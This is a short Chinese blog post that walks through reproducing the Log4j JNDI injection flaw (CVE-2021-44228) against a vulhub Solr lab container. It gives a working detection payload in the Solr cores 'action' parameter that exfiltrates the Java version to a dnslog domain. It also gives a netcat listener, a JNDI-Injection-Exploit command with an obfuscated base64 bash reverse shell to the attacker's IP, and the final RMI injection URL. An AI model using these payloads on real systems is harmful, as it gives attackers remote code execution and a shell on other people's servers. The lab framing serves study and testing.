Log4j复现(CVE-2021-44228)

前言:

  • pache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。通过重写了log4j框架,并且引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码,
  • JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象。**JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。**JNDI注入攻击时常用的就是通过RMI和LDAP两种服务,本文以LDAP服务为例进行复现

1.环境搭建,使用docker搭建vulhub(CVE-2021-44228):切换到vulhub的cve2021-44228下

docker-compose up -d

2.在/solr/admin/cores?有个参数可以传,这就是个注入点,我们试试能不能输出java版本,构造payload,访问的url如下:

http://10.211.55.2:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.mufypi.dnslog.cn}

说明存在log4j漏洞。

3.漏洞利用(反弹shell)

  • a.kali攻击机开启nc监听 nc lvnp 9001(对应反弹shell的端口)
  • b.使用jndi构造poc反弹shell:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “命令” -A “ip(攻击机)”
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuNS85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}" -A 10.211.55.5

  • d.使用burpsuit抓包,替换payload:rmi://10.211.55.5:1099/xd77jt 到Burpsuite:成功反弹shell
http://10.211.55.2:8983/solr/admin/cores?action=${jndi:rmi://10.211.55.5:1099/9xuvzl}


***Tips:***这里注意我们使用工具生成的利用地址,一定要根据不同的环境版本使用不同的链!!

posted @ 2023-06-17 22:32  Arrest  阅读(142)  评论(0编辑  收藏  举报